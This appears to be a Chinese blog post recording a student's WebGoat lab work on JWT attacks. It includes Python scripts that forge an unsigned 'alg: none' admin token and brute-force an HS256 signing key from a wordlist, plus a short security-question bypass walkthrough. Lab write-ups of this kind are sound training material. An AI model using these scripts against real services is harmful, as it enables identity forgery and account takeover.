本次主要学习了javaweb项目方面任意出现的一些安全问题,最主要的是有关于JWT身份认证上的攻击,并利用webgoat靶场进行了一些实验。
JWT的全称是Json Web Token。它遵循JSON格式,将用户信息加密到token里,服务器不保存任何用户信息,只保存密钥信息,通过使用特定加密算法验证token,通过token验证用户身份。基于token的身份验证可以替代传统的cookie+session身份验证方法。
jwt由三个部分组成:header.payload.signature
令牌采用 base64-url 编码,由三部分组成。header.payload.signature 每一部分由.
进行链接而成,如下所示:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
根据算法,签名将被添加到令牌中。这样,您可以验证某人没有修改令牌(对令牌的一次更改将使签名无效)。
具体的表单生成信息如下:
{ "alg":"HS256", "typ":"JWT"}
{
"exp": 1416471934, "user_name": "user",
"scope": [ "read", "write" ],
"authorities": [ "ROLE_ADMIN", "ROLE_USER" ],
"jti": "9bc92a44-0b1a-4c5e-be70-da52075b9a84",
"client_id": "my-client-with-secret"
}
加密密钥: secret
具体操作形式:
base64url(
HMACSHA256(
base64UrlEncode(header) + "." + base64UrlEncode(payload),
your-256-bit-secret (秘钥加盐)
)
)
用户登录成功后,服务端通过jwt生成一个随机token给用户(服务端无需保留token),以后用户再来访问时需携带token,服务端接收到token之后,通过jwt对token进行校验是否超时、是否合法。
相对地,如果采用cookie的方式,则服务器端/客户端是会保存一份对应的token值以供进行合法校验。
更多具体的内容请参考:https://jwt.io/
配置环境: Windows 10 + Java11 + webgoat-server-8.1.0.jar
注: 此处最好是使用java11及以上的环境,以避免出现java版本过低而无法运行的错误!!!
将下载好的jar包放在自己指定的目录下,然后打开cmd输入以下命令:
java -jar webgoat-server-8.1.0.jar --server.port=8000 --server.address=0.0.0.0
我这里是开启了指定的端口和开启远程访问,如果想直接使用默认设置(端口8080,只能本地访问)可以直接:
java -jar webgoat-server-8.1.0.jar
然后,在浏览器端输入:
http://127.0.0.1:8000/WebGoat/
注,第一次使用的需要自己注册一个用户!!!
JWT支持使用空加密算法,可以在header中指定alg为None
空加密算法的设计初衷是用于调试的,但是如果某天开发人员脑阔瓦特了,在生产环境中开启了空加密算法,缺少签名算法,jwt保证信息不被篡改的功能就失效了。攻击者只需要把alg字段设置为None,就可以在payload中构造身份信息,伪造用户身份。
这样的话,只要把signature设置为空(即不添加signature字段),提交到服务器,任何token都可以通过服务器的验证。举个例子,使用以下的字段:
然后,我们点击对应的vote now,就会出现如下的弹窗,提示我们没有权限进行投票:
那么,我们这里先利用burp进行抓包看一下,发送了哪一些的数据:
我们点击切换tom用户登录:
进行抓包可以看到对应的token值:
然后,我们将该值拿去解析一下看看:解析网站
确实可以看出,这里采用了hs512算法进行加密验证,然后用户名是Tom。 那么,接下来我们尝试一下利用空加密进行绕过!!!
具体的exp代码如下:
# -*- coding:utf-8 -*-
import jwt
import base64
def b64urlencode(data):
return base64.b64encode(data).replace(b'+', b'-').replace(b'/', b'_').replace(b'=', b'')
print(b64urlencode(b'{"alg":"none"}')+b'.'+b64urlencode(b'{"iat":1573470025,"admin":"true","user":"Jerry"}')+b'.')
最后解密结果如下:
eyJhbGciOiJub25lIn0.eyJpYXQiOjE1NzM0NzAwMjUsImFkbWluIjoidHJ1ZSIsInVzZXIiOiJKZXJyeSJ9.
看到这里,我们将admin对应的值更改为了true , 也就是说此时,我们设置了Jerry这个用户为admin。 然后由于还设置了alg为空密码,因此,可以绕过签名密钥未知的情况!!! 那么,我们把之前抓到的包放出去看看:
发现投票成功!!! 本关成功绕过!
对 JWT 的密钥爆破需要在一定的前提下进行:
根据题目要求,这里我们需要爆破出密钥,然后再将用户名改为WebGoat。
那么我们先使用以下exp进行爆破密码:
import jwt
import termcolor
if __name__ == "__main__":
jwt_str = R'eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTY3MDc2NTAzOCwiZXhwIjoxNjcwNzY1MDk4LCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQub3JnIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.aIR7sjd5o7XJgUkYPCw76e9iF838G-Hh9J-sN1M-J94'
with open('top1000.txt') as f:
for line in f:
key_ = line.strip()
try:
jwt.decode(jwt_str, verify=True, key=key_)
print('\r', '\bbingo! found key -->', termcolor.colored(key_, 'green'), '<--')
break
except (jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError):
print('\r', '\bbingo! found key -->', termcolor.colored(key_, 'green'), '<--')
break
except jwt.exceptions.InvalidSignatureError:
print('\r', ' ' * 64, '\r\btry', key_, end='', flush=True)
continue
else:
print('\r', '\bsorry! no key be found.')
注! 但是这里还有个小问题需要注意一下!!! 就是本关还使用了时间戳进行验证。
这里的exp就是指时间戳的截至时间,因此,这里我们也需要进行更改一下:
时间戳
比如,当前我的时间是2022-12-11 21:30:00 , 那么为了稳妥起见,我这里将过期时间设置为2022-12-11 21:35:00
在本关中,我们需要回答一些安全密钥的问题,然后后端通过我们回答的密钥是否符合数据库里存储的答案来进行验证,若验证成功则可以进行重置密码等待操作。 那么接下来我们先看一下源码:
这里可以看出来,一共有两个问题并且有相应的答案。 那么试想一下,如果我们查询secQuestion2, 则由于数据库里无secQuestion2的字段,那么当我们查询的时候则对应的secQuestion2的值就为none,或者其他的什么!!! 因此,我们可以尝试一下设置:
进行修改:
至此,修改成功!!!